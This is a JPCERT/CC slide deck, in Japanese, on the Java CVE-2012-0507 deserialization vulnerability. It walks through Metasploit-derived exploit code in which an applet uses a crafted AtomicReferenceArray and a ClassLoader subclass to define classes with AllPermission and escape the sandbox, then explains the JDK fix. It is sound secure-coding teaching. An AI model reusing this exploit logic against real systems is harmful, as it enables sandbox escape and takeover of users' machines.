Oracle Java 標準ライブラリ AtomicReferenceArray クラスにおけるデシリアライズに関する脆弱性

Similar documents
JBoss Application Server におけるディレクトリトラバーサルの脆弱性

Apache ActiveMQ における認証処理不備の脆弱性

Javaセキュアコーディングセミナー東京 第2回 数値データの取扱いと入力値の検証 演習解説

Spacewalkにおけるクロスサイトフォージェリ(CSRF)の脆弱性

MySQL Connector/J における SQL インジェクションの脆弱性

JEB Plugin 開発チュートリアル 第4回

Javaセキュアコーディングセミナー2013東京第1回 演習の解説

Apache Axis2 におけるXML署名検証不備

JEB Plugin 開発チュートリアル 第3回

Javaセキュアコーディングセミナー東京 第4回 メソッドとセキュリティ 演習解説

Microsoft PowerPoint ppt

いった対策を取ればよいか ということは載っているのですが いまい ち内部まで解説してくれないような印象があります ) Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execut

Exam : 1z1-809-JPN Title : Java SE 8 Programmer II Vendor : Oracle Version : DEMO Get Latest & Valid 1z1-809-JPN Exam's Question and Answers 1 from Ac

Apache Tomcatにおけるクロスサイトリクエストフォージェリ(CSRF)保護メカニズム回避の脆弱性

(Microsoft PowerPoint - \223\306\217KJAVA\221\346\202R\224\ ppt)

基本情報STEP UP演習Java対策

Javaセキュアコーディングセミナー東京 第3回 入出力(File, Stream)と例外時の動作 演習解説

オブジェクト指向プログラミング・同演習 5月21日演習課題

HULFT Series 製品における Javaの脆弱性(CVE )に対する報告

Java演習(4) -- 変数と型 --

新・明解Java入門

JavaプログラミングⅠ

Javaの作成の前に

ログを活用したActive Directoryに対する攻撃の検知と対策

メディプロ1 Javaプログラミング補足資料.ppt

PowerPoint Presentation

PowerPoint プレゼンテーション

PowerPoint プレゼンテーション

PowerPoint プレゼンテーション

プログラミング基礎I(再)

デジタル表現論・第6回

Microsoft PowerPoint Java基本技術PrintOut.ppt [互換モード]

Microsoft PowerPoint ppt

.NETプログラマー早期育成ドリル ~VB編 付録 文法早見表~

た場合クラスを用いて 以下のように書くことが出来る ( 教科書 p.270) プログラム例 2( ソースファイル名 :Chap08/AccountTester.java) // 銀行口座クラスとそれをテストするクラス第 1 版 // 銀行口座クラス class Account String name

26 editor.putint(pref_count_key, executecount); 27 // 変更した Preference を確定させる 28 editor.commit(); 29 } (c) 実行の様子実装して実行した様子を図 1 と図 2 に示す. 一度実行するごとに, カウン

Prog1_15th

GEC-Java

Blojsom におけるクロスサイトスクリプティングの脆弱性

SpringSecurity

12.1 インターネットアドレス インターネットアドレス インターネットアドレス 32 ビットの長さを持つインターネットに接続されたマシンを識別するのに使う インターネットアドレスは ピリオドで区切られたトークンの並びで表現されることもある インターネットアドレス

Java知識テスト問題

Prog2_10th

Microsoft PowerPoint - OOP.pptx

とても使いやすい Boost の serialization

JAVA入門

Java の ConcurrentHashMap における同期化 バッドケースとその対処法 2013 年 9 月湊隆行 1. はじめに表 1.1 に示すように Java の Collections Framework には 3 つの世代があります バージョン 1.0 から存在するレガシー API バ

PowerPoint プレゼンテーション

Make the Future Java FY13 PPT Template

Java講座

Prog1_6th

Android Layout SDK プログラミング マニュアル

intra-mart Accel Platform — 外部ソフトウェア接続モジュール 仕様書   第3版  

JavaプログラミングⅠ

V8.1新規機能紹介記事

FW ファイルアップロード ダウンロード機能利用ガイド Version 年 9 月 21 日富士通株式会社 i All Right Reserved, Copyright FUJITSU LIMITED

目的 泡立ち法を例に Comparableインターフェイスの実装 抽象クラスの利用 型パラメタの利用 比較 入替 の回数を計測

Apache Commons の HttpClient におけるSSLサーバ証明書検証不備

Prog2_9th

Microsoft Word - Android_SQLite講座_画面800×1280

表示の更新もそういた作業のひとつに当たる スレッドの使用アニメーション アニメーションやシミュレーションなどは画面の更新が一定のタイミングで行われていく この連続した画面の更新をスレッドを利用して行う しかし paint() メソッドを直接呼び出して表示を更新することはできない その理由

Prog1_10th

制御システムセキュリティアセスメントサービス

Brekeke PBX - Version 2.1 ARSプラグイン開発ガイド

問題1 以下に示すプログラムは、次の処理をするプログラムである

intra-mart Accel Platform — IM-Repository拡張プログラミングガイド   初版  

< F2D B838A835882CC8CF68EAE2E6A7464>

第 2 章インタフェース定義言語 (IDL) IDL とは 言語や OS に依存しないインタフェース定義を行うためのインタフェース定義言語です CORBA アプリケーションを作成する場合は インタフェースを定義した IDL ファイルを作成する必要があります ここでは IDL の文法や IDL ファイ

Microsoft PowerPoint - chap10_OOP.ppt

Quick Sort 計算機アルゴリズム特論 :2017 年度 只木進一

JUnit 概要 2015/4/16 版今泉俊幸 2015 bbreak Systems 1

IT プロジェクト

storage-sdk-Java


Microsoft PowerPoint - ●SWIM_ _INET掲載用.pptx

< F2D92DE82E8914B82CC977088D32E6A7464>

第1章 ビジュアルプログラミング入門

10/ / /30 3. ( ) 11/ 6 4. UNIX + C socket 11/13 5. ( ) C 11/20 6. http, CGI Perl 11/27 7. ( ) Perl 12/ 4 8. Windows Winsock 12/11 9. JAV

< F2D82B682E182F182AF82F12E6A7464>

スライド 1

2

開発・運用時のガイド JDK8への移行に伴う留意点 [UNIX]

--- サーバ側処理 Java servlet の例 // 通常の Java servlet での POST で受信と同じ protected void dopost(httpservletrequest request, HttpServletResponse response) throws S

< F2D834F838C A815B A CC>

第1章 ビジュアルプログラミング入門

JAVA とテンプレート

2016 年度 JAVA 講座第六週目 目次 パッケージ... 2 パッケージの作成... 2 パッケージの使用方法... 3 異なるパッケージ同名クラスの宣言... 4 パッケージの側面から見たアクセス修飾子... 4 ラッパークラス... 5 ラッパークラス利用法:キャスト... 5 ラッパーク

JavaプログラミングⅠ

人工知能入門

5 継承とは クラス図 98 7 参照の自動型変換 参照の自動型変換 クラス図の見方 クラス図の書き方 継承 継承してクラスを作る インスタンスの初期化 継承の効果を確認する

Microsoft PowerPoint - prog09.ppt

Microsoft PowerPoint - prog09.ppt

リファレンス,配列 例外処理

< F2D825282CC947B909482CC A815B83682E6A>

WEBシステムのセキュリティ技術

JEB Plugin 開発チュートリアル 第1回

1.SqlCtl クラスリファレンス SqlCtl クラスのリファレンスを以下に示します メソッドの実行中にエラーが発生した場合は標準エラー出力にメッセージを出力します (1)Connect() メソッド データベースへ connect 要求を行います boolean Connect(String

Program Design (プログラム設計)

デジタル表現論・第4回

TestDesign for Web

Transcription:

Java アプリケーション脆弱性事例調査資料 について この資料は Java プログラマである皆様に 脆弱性を身近な問題として感じてもらい セキュアコーディングの重要性を認識していただくことを目指して作成しています Java セキュアコーディングスタンダード CERT/Oracle 版 と合わせて セキュアコーディングに関する理解を深めるためにご利用ください JPCERT コーディネーションセンター セキュアコーディングプロジェクト secure-coding@jpcert.or.jp 1

Japan Computer Emergency Response Team Coordination Center 電子署名者 Japan Computer Emergency Response Team Coordination Center DN c=jp, st=tokyo, l=chiyoda-ku, email=office@jpcert.or.jp, o=japan Computer Emergency Response Team Coordination Center, cn=japan Computer Emergency Response Team Coordination Center 日付 2014.07.17 131658 +09'00' Oracle Java 標準ライブラリ AtomicReferenceArray クラスにおける デシリアライズに関する脆弱性 CVE-2012-0507 一般社団法人JPCERTコーディネーションセンター 2

CVE-2012-0507 概要 AtomicReferenceArray クラスはシリアライズ可能なクラスとして定義されている しかし シリアライズデータの復元時に適切な検証を行っていなかった 細工したシリアライズデータを復元させることにより ClassLoader クラスのサブクラスのインスタンスを生成させることができ サンドボックス内で実行されている Java アプレットから任意のクラスやそのインスタンスを生成してサンドボックスの外で実行させることが可能になってしまっていた つまり Java アプレットを使った攻撃に悪用できるってこと! 3

Java アプレットを使った攻撃 アプレットから サンドボックスの制限を越えて任意のコマンドを実行 例 Runtimeexec メソッドを使って OS コマンドを実行 利用者の PC を乗っ取られる可能性がある アプレットはサーバ ( 信頼境界の外側 ) からやってくる信頼できないコード PC 上のファイル改ざんや情報漏えいの危険がある 利用者 細工されたアプレット 攻撃者サーバ 4

攻撃者の視点 Web ブラウザ上で実行されるアプレットから ClassLoader を使ってアクセス権限に制限のつかない状態のクラスを生成したい (java コードを実行したい ) 5

ClassLoader と defineclass メソッド ClassLoader クラスの defineclass メソッドを使うと新たなクラスを定義できる. protected final Class<?> defineclass(string name, byte[] b, int off, int len, ProtectionDomain protectiondomain) name ---- クラスのバイナリ名 b ---- クラスデータを構成する byte データ off ---- クラスデータ中の b の先頭位置 len ---- クラスデータの長さ protectiondomain ---- このクラスの ProtectionDomain 6

defineclass メソッドの使用例 class Help extends ClassLoader { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; buffer = bos.tobytearray(); URL url = new URL( "file///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = defineclass(classname, buffer, 0, buffer.length, pd ); Class class_cls = cls.getclass(); 7

defineclass メソッドの使用例 class Help extends ClassLoader { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; buffer = bos.tobytearray(); URL url = new URL( "file///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = defineclass(classname, buffer, 0, buffer.length, pd ); Class class_cls = cls.getclass(); クラスデータを構成するバイトデータ コード位置. file/// は全てのローカルファイルを意味する. システムリソースへのアクセス権. AllPermission() は全てのアクセス権の許可を意味する ( 読み取り, 書き込み, 実行 ) 定義されるクラスは全てのローカルファイルに対して全てのアクセス権が許可される ( 読み取り, 書き込み, 実行 ) 8

defineclass メソッドを使いたい ClassLoader は抽象クラス new でインスタンスを生成できない defineclass は protected メソッド クラス外部から呼び出すことはできない 攻撃に使うには ClassLoader のサブクラスが必要 9

攻撃用アプレットの検討 (1) ClassLoader のインスタンスを作りたい ClassLoader cl = new ClassLoader(); ClassLoader は抽象クラスなので new することはできない 既に存在する ClassLoader のインスタンスをゲットする ClassLoader cl = getclass().getclassloader(); prohibited しかし defineclass は protected メソッドなのでクラス外部から呼び出すことはできない allowed なんとか ClassLoader のサブクラスを用意できないか? 10

攻撃用アプレットの検討 (2) ClassLoader のサブクラスを定義してインスタンスを作ったら? public class Help extends ClassLoader() {... Help ahelp = new Help(); Runtime Exception サンドボックス内では制限されている ClassLoader のインスタンス自身をサブクラスのインスタンスとして扱えないか? ClassLoader のインスタンスをサブクラスのフィールドに代入? Help ahelp = (Help)getClass().getClassLoader(); prohibited Runtime Exception このような代入操作は言語仕様上禁止されている 11

Type Confusion Vulnerability Type confusion の脆弱性により 言語レベルで禁止されていたはずの代入操作を行うことができる! Help ahelp = (Help)getClass().getClassLoader(); 通常 サブクラスへの代入は型システムによって禁止されている atomicreferencearray.set(0, classloader); AtomicReferenceArray クラスには type confusion の脆弱性が存在し set メソッドによって本来禁止されているはずの代入操作を行うことが可能になってしまっている 12

AtomicReferenceArray クラス java.util.concurrent.atomic パッケージに収められている 要素を原子的に更新可能なオブジェクト参照の配列です (Java SE API リファレンスより ) シリアライズ可能 独自の readobject メソッドは持っていない 13

AtomicReferenceArray のソースコード AtomicReferenceArray.java import sun.misc.unsafe; public class AtomicReferenceArray<E> implements java.io.serializable { private static final Unsafe unsafe = Unsafe.getUnsafe(); private final Object[] array; private long checkedbyteoffset(int i) { return ( calculating offset and boundary check ); public final void set(int i, E newvalue) { unsafe.putobjectvolatile(array, checkedbyteoffset(i), newvalue); シリアライズ可能なクラス set メソッドで使われるオフセットを計算 array に newvalue を書き込む 14

AtomicReferenceArray のソースコード AtomicReferenceArray.java シリアライズ可能なクラス import sun.misc.unsafe; public class AtomicReferenceArray<E> implements java.io.serializable { private static final Unsafe unsafe = Unsafe.getUnsafe(); unsafe.putobjectvolatile(object o, long offset, Object x) private final Object[] array; set メソッドで使われるオフセットを計算引数の型が適切なものであることをチェックせずに private x の値を long o に書き込む checkedbyteoffset(int. i) { return ( calculating offset and boundary check ); public final void set(int i, E newvalue) { unsafe.putobjectvolatile(array, checkedbyteoffset(i), newvalue); array に newvalue を書き込む 15

Exploit Code for CVE-2012-0507 Metasploit のモジュールにある攻撃コードをベースに説明します http//www.rapid7.com/db/modules/exploit/multi/browser/java_atomicreferencearray Exploit code Exploit class (Applet のサブクラス ) Help class (ClassLoader のサブクラス ) JRE 標準 API AtomicReferenceArray クラス Unsafe クラス (AtomicReferenceArray class から呼び出される ) 16

Exploit Code for CVE-2012-0507 Exploit.java public class Exploit extends Applet { public static byte[] StringToBytes(String s) { return (converts s to byte data); public void init() { String as[] = { ACED0005757200135B4C6A6176612E6C616E672E4F62, (16 進表記されたシリアライズデータ ) ; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getclass().getclassloader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; Help.doWork(ahelp[0], this, ); 17

Exploit Code for CVE-2012-0507 Exploit.java public class Exploit extends Applet { public static byte[] StringToBytes(String s) { return (converts s to byte data); シリアライズデータの内部構造 public void init() { Object aobj[] String as[] = { ACED0005757200135B4C6A6176612E6C616E672E4F62, (serialized data in hexadecimal ) ; aobj[0] Help[] ahelp[] StringBuilder aobj[1] stringbuilder AtomicReferenceArray = new StringBuilder(); atomicreferencearray for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); private Object [] array ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getclass().getclassloader(); atomicreferencearray.set(0, classloader); array 変数は ahelp を参照するように細工されている Help _tmp = ahelp[0]; Help.doWork(ahelp[0], this, ); 18

Exploit Code for CVE-2012-0507 array 変数は ahelp を参照するように細工されている array への代入操作は ahelp への代入となり ahelp を通じて参照できるようになる Object aobj[] aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array 通常の Java のコードからはこのような不正なデータ構造はつくられない 19

Exploit Code for CVE-2012-0507 Exploit.java public class Exploit extends Applet { public static byte[] StringToBytes(String s) { return (converts s to byte data); public void init() { Object aobj[] String as[] = { ACED0005757200135B4C6A6176612E6C616E672E4F62, (serialized data in hexadecimal ) aobj[0] ; Help[] ahelp[] aobj[1] StringBuilder AtomicReferenceArray stringbuilder = new StringBuilder(); atomicreferencearray for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); private Object [] array ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); ClassLoader Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getclass().getclassloader(); atomicreferencearray.set(0, classloader); Classloader オブジェクトが array[0] に代入される, これは ahelp[0] への代入が行われたことになる Help _tmp = ahelp[0]; Help.doWork(ahelp[0], this, ); 20

Exploit Code for CVE-2012-0507 Exploit.java public class Exploit extends Applet { public static byte[] StringToBytes(String s) { return (converts Help は s to ClassLoader byte data); のサブクラス Help.java public class Help extends ClassLoader implements Serializable { public static void dowork(help h, Exploit expl, String data, String jar, String lhost, int lport) { Class StringBuilder cls = stringbuilder null; = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); cls = h.defineclass(...); public void init() { String as[] = { ACED0005757200135B4C6A6176612E6C616E672E4F62, (serialized data in hexadecimal ) ; ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getclass().getclassloader(); atomicreferencearray.set(0, classloader); Help は ClassLoader のサブクラスなので defineclass メソッドを呼び出すことが可能 Help _tmp = ahelp[0]; Help.doWork(ahelp[0], this, ); 21

Exploit Code for CVE-2012-0507 Help クラス (dowork メソッド ) は任意の権限を持ったクラスを生成できる. Help.java public class Help extends ClassLoader implements Serializable { public static void dowork(help h, Exploit expl, String data, String jar, String lhost, int lport) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; InputStream is = expl.getclass().getresourceasstream( directory path to create ); while( ( length = is.read( buffer ) ) > 0 ) bos.write( buffer, 0, length ); buffer = bos.tobytearray(); URL url = new URL( "file///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = h.defineclass( classnames[index], buffer, 0, buffer.length, pd ); Class class_cls = cls.getclass(); 22

Exploit Code for CVE-2012-0507 Help クラス (dowork メソッド ) は任意の権限を持ったクラスを生成できる. Help.java public class Help extends ClassLoader implements Serializable { public static void dowork(help h, Exploit expl, String data, String jar, String lhost, int lport) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; InputStream is = expl.getclass().getresourceasstream( directory path to create ); while( ( length = is.read( buffer ) ) > 0 ) bos.write( buffer, 0, length ); buffer = bos.tobytearray(); URL url = new URL( "file///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); 生成するクラスのバイトストリームデータ コード位置. file/// は任意のローカルファイルを表す. システムリソースへのアクセス権. AllPermission() は全てのアクセス権の許可を意味する ( 読み取り, 書き込み, 実行 ) ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = h.defineclass( classnames[index], buffer, 0, buffer.length, pd ); Class class_cls = cls.getclass(); 定義されるクラスは全てのローカルファイルに対して全てのアクセス権が許可される ( 読み取り, 書き込み, 実行 ) 23

Exploit Code for CVE-2012-0507 Malicious Web Site JVM ダウンロード サンドボックス Exploit ここで復元処理が行われている Help ClassLoader defineclass() Attacking class Help クラスはサンドボックスによる制限がかからないクラスをつくることができる 24

どうしてこのような攻撃が可能になったのか? Unsafe クラス Unsafe クラスは信頼できるクラスからしか使えない想定 ( 呼び出し元がブートローダ由来のクラスであることをチェックするようになっている ). putobjectvolatile メソッドは引数の型が一致することをチェックしないままコピー操作を行っている. AtomicReferenceArray クラス 内部で Unsafe クラスを使っている シリアライズ可能なクラスであるが readobject メソッドを独自に定義していない ( デフォルトの復元処理ではシリアライズデータの検証は行われない ) AtomicReferenceArray クラスのシリアライズデータを復元する処理において 細工したデータを書き込ませることが可能 25

どのように修正したのか? この問題は JDK 7u3 で修正された. AtomicReferenceArray クラスの復元処理で入力値検証を行うようにした クラス内部に持っている array フィールドが配列型でない場合 復元処理は失敗するようにした 独自の readobject メソッドを用意し array フィールドが必ず Object 配列を参照するようにした シリアライズデータ中の array データが Object 配列でない場合には強制的に Object 配列としてコピーする 26

どのように修正したのか? AtomicReferenceArray.java ( 修正版 ) public class AtomicReferenceArray<E> implements java.io.serializable { private void readobject(java.io.objectinputstream s) throws java.io.ioexception, ClassNotFoundException { readobject メソッドを追加し 復元処理内容をカスタマイズ 27

AtomicReferenceArrayreadObject AtomicReferenceArray.java ( 修正版 ) public class AtomicReferenceArray<E>.. implements java.io.serializable { private void readobject(java.io.objectinputstream s) throws java.io.ioexception, ClassNotFoundException { Object a = s.readfields().get("array", null); if (a == null!a.getclass().isarray()) throw new java.io.invalidobjectexception("not array type"); if (a.getclass()!= Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putobjectvolatile(this, arrayfieldoffset, a);.. array フィールドにコピー array フィールドのシリアライズデータを読み込み 配列型でなかったら例外をスロー シリアライズデータを配列としてコピー 28

AtomicReferenceArrayreadObject AtomicReferenceArray.java ( 修正版 ) public class AtomicReferenceArray<E> シリアライズデータ.. implements java.io.serializable { private void readobject(java.io.objectinputstream s) AtomicReferenceArray.. throws java.io.ioexception, [0] ClassNotFoundException [1] [2] { private Object [] array array データ Object Object Object Object a = s.readfields().get("array", null); if (a == null!a.getclass().isarray()) throw new java.io.invalidobjectexception("not array type"); if (a.getclass()!= Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putobjectvolatile(this, arrayfieldoffset, a); 配列型でなかったら例外をスロー 29

AtomicReferenceArrayreadObject AtomicReferenceArray.java ( 修正版 ) public class AtomicReferenceArray<E> シリアライズデータ.. implements java.io.serializable { private void readobject(java.io.objectinputstream s) AtomicReferenceArray throws java.io.ioexception, ClassNotFoundException [0] { Object a = s.readfields().get("array", null); if (a == null!a.getclass().isarray()) throw new java.io.invalidobjectexception("not array type"); if (a.getclass()!= Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putobjectvolatile(this, arrayfieldoffset, a);.. [0] private Object [] array Help Help [1] Help [2] 細工された array データ 細工された array データ Help [0] Object [0] Help [1] Object [1] Help [2] Object [2] 正しい型の array データ 正しい array データ Object Object [1] Object [2] Object 配列型でなければ強制的にObject 配列型にコピーする copying serialized data as an array 30

AtomicReferenceArrayreadObject AtomicReferenceArray.java ( 修正版 ) public class AtomicReferenceArray<E> static { int scale; try {.. implements java.io.serializable { private unsafe void = readobject(java.io.objectinputstream Unsafe.getUnsafe(); s) throws java.io.ioexception, ClassNotFoundException { Object base a = s.readfields().get("array", unsafe.arraybaseoffset(object[].class); null); if (a == scale null = unsafe.arrayindexscale(object[].class);!a.getclass().isarray()) throw new java.io.invalidobjectexception("not array type"); if (a.getclass()!= Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putobjectvolatile(this, arrayfieldoffset, a);.. arrayfieldoffset = unsafe.objectfieldoffset (AtomicReferenceArray.class.getDeclaredField("array")); array フィールドにコピー arrayfieldoffset はクラス初期化時に array フィールドのオフセット値に初期化される 31

修正版では攻撃を受けるとどうなる? Object aobj[] aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array シリアライズデータが Object 配列型でない場合強制的に Object 配列型にコピーされる ahelp Help [0] Help [1] Help [2] その結果 ahelp[0] の値は null になる もしアクセスすると NullPointerException がスローされる Arrays.copyOf(...) array Object [0] Object [1] Object [2] array フィールドはコピーされた配列を参照している ahelp とは別のもの ClassLoader 32

まとめ 何が問題だったか? 復元処理で適切な入力値検証が行われていなかった 内部のフィールドが参照しているデータが Object 配列型であることの確認 反省点 シリアライズ可能なクラスでは 独自の readobject メソッドを定義し, シリアライズデータが想定通りのものであることを検証すべき Unsafe クラスのメソッドに渡す引数も想定通りのものであることを検証すべき 33

ちなみに 新たに定義した readobject メソッドの処理内容は AtomicReferenceArray クラスの内部構造に依存 AtomicReferenceArray クラスの内部構造を変更するときには readobject メソッドの処理もそれに応じて変更する必要あり 34

Java セキュアコーディングスタンダード SER07-J. 実装上必要となる不変条件がある場合にはデフォルトのシリアライズ形式を使わない https//www.jpcert.or.jp/java-rules/ser07-j.html 35

CWE Common Weakness Enumeration CWE-502 Deserialization of Untrusted Data http//cwe.mitre.org/data/definitions/502.html 36

References(1) CVE-2012-0507 http//cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0507 CVE-2012-0507 Java AtomicReferenceArray Type Violation Vulnerability http//www.rapid7.com/db/modules/exploit/multi/browser/java_atomicrefere ncearray Java Exploit Attack (CVE-2012-0507) http//pentestlab.wordpress.com/2012/03/30/java-exploit-attack-cve-2012-0507/ Exploiting Type Confusion Vulnerabilities in Oracle JRE (CVE- 2011-3521/CVE-2012-0507) http//schierlm.users.sourceforge.net/typeconfusion.html 37

References(2) Recent Java Exploitation Trends and malware https//media.blackhat.com/bh-us- 12/Briefings/Oh/BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_Slides.pdf The infamous sun.misc.unsafe explained http//www.javacodegeeks.com/2013/12/the-infamous-sunmisc-unsafe-explained.html 38

著作権 引用や二次利用について 本資料の著作権は JPCERT/CC に帰属します 本資料あるいはその一部を引用 転載 再配布する際は 引用元名 資料名および URL の明示をお願いします 記載例引用元 一般社団法人 JPCERTコーディネーションセンター Java アプリケーション脆弱性事例解説資料 Oracle Java 標準ライブラリ AtomicReferenceArray クラスにおけるデシリアライズに関する脆弱性 https//www.jpcert.or.jp/securecoding/2014/oraclejava-atomicreferencearray.pdf 本資料を引用 転載 再配布をする際は 引用先文書 時期 内容等の情報を JPCERT コーディネーションセンター広報 (office@jpcert.or.jp) までメールにてお知らせください なお この連絡により取得した個人情報は 別途定める JPCERT コーディネーションセンターの プライバシーポリシー に則って取り扱います 本資料の利用方法等に関するお問い合わせ JPCERTコーディネーションセンター広報担当 E-mailoffice@jpcert.or.jp 本資料の技術的な内容に関するお問い合わせ JPCERT コーディネーションセンターセキュアコーディング担当 E-mailsecure-coding@jpcert.or.jp 39